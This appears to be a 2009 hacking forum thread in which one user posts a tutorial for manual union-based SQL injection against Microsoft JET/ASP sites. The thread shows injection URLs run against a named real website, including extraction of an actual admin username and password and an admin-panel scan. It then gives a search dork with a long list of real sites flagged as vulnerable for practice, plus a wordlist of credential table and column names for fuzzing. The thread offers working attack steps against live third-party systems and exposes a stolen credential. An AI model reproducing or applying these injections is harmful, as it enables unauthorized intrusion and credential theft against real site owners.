| Manually Inject - Jet Databese Error Site | |
|
|
Pengirim | Message |
---|
kopele Pengunjung
Jumlah posting : 9 Join date : 07.07.09
| Subyek: Manually Inject - Jet Databese Error Site Wed Jul 08, 2009 12:46 am | |
| Hello i make small but good tuto , very easy to learn. - Code:
-
================================================= MANUALLY INJECT JET DATABASE ERROR BASED SITE ================================================= http://www.thedalesmangroup.co.uk/productlist.asp?id=1'
Microsoft JET Database Engine error '80040e14'
Syntax error in string in query expression 'ID = 1''.
/productlist.asp, line 7 ================================================= http://www.thedalesmangroup.co.uk/productlist.asp?id=-1+union+select+0+from+users
Microsoft JET Database Engine error '80040e37'
The Microsoft Jet database engine cannot find the input table or query 'users'. Make sure it exists and that its name is spelled correctly.
/productlist.asp, line 7 ------------------------------------------------------------------------------------------------------------- NOTE:cannot find the input table or query 'users' !!!! ================================================== http://www.thedalesmangroup.co.uk/productlist.asp?id=-1+union+select+0+from+tbladmin
Microsoft JET Database Engine error '80040e14'
The number of columns in the two selected tables or queries of a union query do not match.
/productlist.asp, line 7 --------------------------------------------------------------------------------------------------------------- NOTE:The number of columns.....do not match. !!!! =================================================== http://www.thedalesmangroup.co.uk/productlist.asp?id=-1+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12+from+tbladmin
1
3 Click here to read more. ---------------------------------------------------------------------------------------------------------------- NOTE: Visible = 1 & 2 !!!! =================================================== http://www.thedalesmangroup.co.uk/productlist.asp?id=-1+union+select+0,username,2,password,4,5,6,7,8,9,10,11,12+from+tbladmin
Username:Fliss
Pass:taste2 ================================================= Admin Finder:
http://www.thedalesmangroup.co.uk/
Scanning. . . . .
http://www.thedalesmangroup.co.uk/admin ------------> TRUE (200 OK) END FINISH =================================================
| |
|
| |
gunslinger_ Asisten LAB
Jumlah posting : 184 Join date : 15.05.09 Age : 30 Lokasi : mars
| Subyek: Re: Manually Inject - Jet Databese Error Site Wed Jul 08, 2009 1:08 am | |
| nice opa... thanks fo sharing.... need guidance from you... | |
|
| |
kopele Pengunjung
Jumlah posting : 9 Join date : 07.07.09
| Subyek: Re: Manually Inject - Jet Databese Error Site Wed Jul 08, 2009 1:29 am | |
| Some link for practis and remeber you need to fuzz tables and see "The number of columns in the two selected tables or queries of a union query do not match." ------ If yo see this "cannot find the input table or query " That means this table not exist. - Code:
-
Blackle Dork: inurl:productlist.asp?id=
Wed Jul 8 07:59:18 2009
Result:
http://www.euelec.com/en/productList.asp?action=fl&anclassid=61&nclassid=609' --> JET Database Error ! http://www.leisure-lynx.com/products/productlist.asp?cat=MIDI%20Leads%20and%20Accessories' --> JET Database Error ! http://www.euelec.com/en/productList.asp?action=fl&anclassid=61&nclassid=607' --> JET Database Error ! http://www.fshy.net.cn/wap/ProductList.asp?ID=8' --> JET Database Error ! http://www.fshy.net.cn/wap/ProductList.asp?ID=11' --> JET Database Error ! http://247coaching.com/store/productlist.asp?id=14' --> JET Database Error ! http://www.aowangkailai.com/english/productlist.asp?id=45' --> JET Database Error ! http://www.aowangkailai.com/english/productlist.asp?id=44' --> JET Database Error ! http://www.e-fwt.com/en/Productlist.asp?ID=Z1PS4PQ451' --> JET Database Error ! http://www.feibike.com/ProductList.asp?ID=89' --> JET Database Error ! http://www.feibike.com/ProductList.asp?ID=90' --> JET Database Error ! http://www.y-free.com.cn/productlist.asp?id=84' --> JET Database Error ! http://www.y-free.com.cn/productlist.asp?id=83' --> JET Database Error ! http://www.spiritushk.com/Productlist.asp?ID=6R2P6T79YW' --> JET Database Error ! http://www.e-fwt.com/en/Productlist.asp?ID=5U46U2W346' --> JET Database Error ! http://www.nkhecheng.cn/eng/productList.asp?id=6&sort_id=80&nsort_id=317' --> JET Database Error ! http://www.welldonepcb.com/productlist.asp?ID=W8PQ7ZZ534' --> JET Database Error ! http://www.keep-trade.com/ProductList.asp?id=92' --> JET Database Error ! http://www.keep-trade.com/ProductList.asp?id=80' --> JET Database Error ! http://www.keep-trade.com/ProductList.asp?id=88' --> JET Database Error ! http://www.nkhecheng.com/eng/productList.asp?id=3&sort_id=136&nsort_id=518' --> JET Database Error ! http://www.chinabeihai.com/productlist.asp?ID=YVRQTXQZ73' --> JET Database Error ! http://www.wxjxpack.com/english/productlist.asp?id=90' --> JET Database Error ! http://www.prestige-supplies.com/productlist.asp?id=115' --> JET Database Error ! http://www.niceda.com.cn/productlist.asp?id=193&sortid=231' --> JET Database Error ! http://www.bauergroup.com.cn/en/productlist.asp?id=1479' --> JET Database Error ! http://www.machine2000.com/Productlist.asp?ID=TRU4T98PY3' --> JET Database Error ! http://www.no3china.com/en/productlist.asp?ID=XQX7658250' --> JET Database Error ! http://www.bauergroup.com.cn/en/productlist.asp?id=1463' --> JET Database Error ! http://www.new-green.com/en/Productlist.asp?ID=1Y7Z8759S6' --> JET Database Error ! http://www.welldonepcb.com/productlist.asp?ID=SS9S1Z005W' --> JET Database Error ! http://www.wwydeast.com/productlist.asp?ID=W6QQU1QY1V' --> JET Database Error ! http://www.prestige-supplies.com/productlist.asp?id=113&subcat=17' --> JET Database Error ! http://www.machine2008.com/Productlist.asp?ID=59V288577T' --> JET Database Error ! http://cntiebao.com/productlist.asp?id=298' --> JET Database Error ! http://www.wxguangyuan.cn/TEMP/ProductList.asp?ID=82' --> JET Database Error ! http://www.jiujing.biz/En/productlist.asp?id=176' --> JET Database Error ! http://www.spiritus-gift.com/Productlist.asp?ID=090233U9S0' --> JET Database Error ! http://www.xlsoft.com.cn/productList.asp?id=21' --> JET Database Error ! http://www.zlxstationery.com/en/productlist.asp?ID=W804T7944R' --> JET Database Error ! http://hkcydz.com/Productlist.asp?ID=13YP2U6PT4' --> JET Database Error ! http://www.szchangji.com/Productlist.asp?ID=68Y4ZXQSR7' --> JET Database Error ! http://www.szzhuotai.com/productlist.asp?ID=34PZTPR3X6' --> JET Database Error ! http://www.dy-make.com/en/productlist.asp?ID=ZS6Z6U3QWR' --> JET Database Error ! http://www.cl39.com/en/productlist.asp?ID=Q5W9YV9Q8S' --> JET Database Error ! http://www.jinbo-china.com/productlist.asp?ID=5S15577VS1' --> JET Database Error ! http://www.smilemould.com/en/productlist.asp?ID=YZ898TQX46' --> JET Database Error ! http://www.ckingfurniture.com/productlist.asp?ID=991382967Y' --> JET Database Error ! http://www.szxinyiyuan-art.com/productlist.asp?ID=93RVRP37Y3' --> JET Database Error ! http://www.uzoutech.com/productlist.asp?ID=0XQ6V41T40' --> JET Database Error ! http://woerze.com/en/Productlist.asp?ID=WR8RP0X52W' --> JET Database Error ! http://www.aopujc.com.cn/en/productlist.asp?ID=16QYZ5S58V' --> JET Database Error ! http://www.xlsoft.com.cn/productList.asp?action=1&id=15' --> JET Database Error ! http://etk-stationery.com/polybin-new/productlist.asp?page=40&cateid=8' --> JET Database Error ! http://www.szhongshan.com/productlist.asp?id=1292' --> JET Database Error ! http://www.baixinsz.com/Productlist.asp?ID=R3S57S3X7T' --> JET Database Error ! http://xinhao.com.cn/productlist.asp?id=46' --> JET Database Error ! http://www.hx199.com/productlist.asp?id=34SXZR63Q8' --> JET Database Error !
| |
|
| |
gunslinger_ Asisten LAB
Jumlah posting : 184 Join date : 15.05.09 Age : 30 Lokasi : mars
| Subyek: Re: Manually Inject - Jet Databese Error Site Wed Jul 08, 2009 1:33 am | |
| thanks for guidance... | |
|
| |
ivonck Pengunjung
Jumlah posting : 9 Join date : 08.07.09
| Subyek: Re: Manually Inject - Jet Databese Error Site Wed Jul 08, 2009 3:10 am | |
| wow Microsoft JET that great... by the way for the table and the colom we must search by manual or have another methode ? | |
|
| |
kopele Pengunjung
Jumlah posting : 9 Join date : 07.07.09
| Subyek: Re: Manually Inject - Jet Databese Error Site Wed Jul 08, 2009 3:24 am | |
| Manual bro or you can make script to fuzz them | |
|
| |
ivonck Pengunjung
Jumlah posting : 9 Join date : 08.07.09
| Subyek: Re: Manually Inject - Jet Databese Error Site Wed Jul 08, 2009 3:27 am | |
| ok i have try with perl script.. maybe my table list no complate.. | |
|
| |
kopele Pengunjung
Jumlah posting : 9 Join date : 07.07.09
| Subyek: Re: Manually Inject - Jet Databese Error Site Wed Jul 08, 2009 3:36 am | |
| tablename ======= login admin account useraccount nguoidung quanly quantri dangnhap taikhoan taikhoanquantri users logins admins accounts useraccounts nguoidungs tbuser tblogin tbadmin tbaccount tbuseraccount tbnguoidung tbluser tbllogin tbladmin tblaccount tbluseraccount tblnguoidung tbusers tblogins tbadmins tbaccounts tbuseraccounts tbnguoidungs tblusers tbllogins tbladmins tblaccounts tbluseraccounts tblnguoidungs tb_user tb_login tb_admin tb_account tb_useraccount tb_nguoidung tbl_user tbl_login tbl_admin tbl_account tbl_useraccount tbl_nguoidung tb_users tb_logins tb_admins tb_accounts tb_useraccounts tb_nguoidungs tbl_users tbl_logins tbl_admins tbl_accounts tbl_useraccounts tbl_nguoidungs ======= columnname ========= username name login loginname user_name login_name id userid user_id tendn tendangnhap tenquantri tenquanly tennguoidung ten tennd nguoidung nguoidungid quantri quanly uname adminname admin u_name uid u_id aname accountname account_name email password pass pwd passwd matkhau matma paswd pas userpass user_pass user_password userpwd user_pwd user_passwd pass_word tukhoa login_password login_passwd login_pass login_pas login_pwd loginpassword loginpasswd loginpass loginpas loginpwd code secret secret_code secretcode ========= You can add more
Terakhir diubah oleh kopele tanggal Wed Jul 08, 2009 3:57 am, total 1 kali diubah | |
|
| |
ivonck Pengunjung
Jumlah posting : 9 Join date : 08.07.09
| Subyek: Re: Manually Inject - Jet Databese Error Site Wed Jul 08, 2009 3:39 am | |
| | |
|
| |
kopele Pengunjung
Jumlah posting : 9 Join date : 07.07.09
| Subyek: Re: Manually Inject - Jet Databese Error Site Wed Jul 08, 2009 3:54 am | |
| | |
|
| |
ivonck Pengunjung
Jumlah posting : 9 Join date : 08.07.09
| Subyek: Re: Manually Inject - Jet Databese Error Site Wed Jul 08, 2009 4:28 am | |
| Okay.. thanks for the tools i have use that bro.. | |
|
| |
gunslinger_ Asisten LAB
Jumlah posting : 184 Join date : 15.05.09 Age : 30 Lokasi : mars
| Subyek: Re: Manually Inject - Jet Databese Error Site Wed Jul 08, 2009 9:55 am | |
| | |
|
| |
Sponsored content
| Subyek: Re: Manually Inject - Jet Databese Error Site | |
| |
|
| |
| Manually Inject - Jet Databese Error Site | |
|